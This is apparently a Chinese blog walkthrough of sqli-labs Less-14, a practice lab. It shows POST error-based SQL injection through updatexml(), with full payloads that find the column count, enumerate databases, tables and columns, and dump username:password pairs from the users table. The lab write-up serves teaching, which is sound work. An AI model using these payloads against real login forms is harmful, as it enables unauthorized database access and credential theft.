sqli-labs less-14post报错注入updatexml

post提交报错注入

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit

页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入
uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错

uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit

发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat('~',(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat('~',(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat('~',(select concat(username,':',password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,

相关推荐
焱焱枫31 分钟前
自适应SQL计划管理(Adaptive SQL Plan Management)在Oracle 12c中的应用
数据库·sql·oracle
2301_7930698234 分钟前
Spring Boot +SQL项目优化策略,GraphQL和SQL 区别,Spring JDBC 等原理辨析(万字长文+代码)
java·数据库·spring boot·sql·jdbc·orm
hhw19911243 分钟前
spring boot知识点5
java·数据库·spring boot
m0_748232641 小时前
mysql的主从配置
android·mysql·adb
ITPUB-微风1 小时前
功能开关聚合对象实践:提升金融领域的高可用性
网络·数据库·金融
去看日出1 小时前
Linux(centos)系统安装部署MySQL8.0数据库(GLIBC版本)
linux·数据库·centos
火绒终端安全管理系统1 小时前
火绒终端安全管理系统V2.0【系统防御功能】
网络·安全·网络安全·火绒安全·火绒
weixin_387002152 小时前
Openssl之SM2加解密命令
安全·ubuntu·密码学·ssl·命令模式
黑客KKKing2 小时前
网络安全与防范
安全·web安全
ONEPEICE-ing2 小时前
快速入门Springboot+vue——MybatisPlus多表查询及分页查询
前端·vue.js·spring boot·mybatis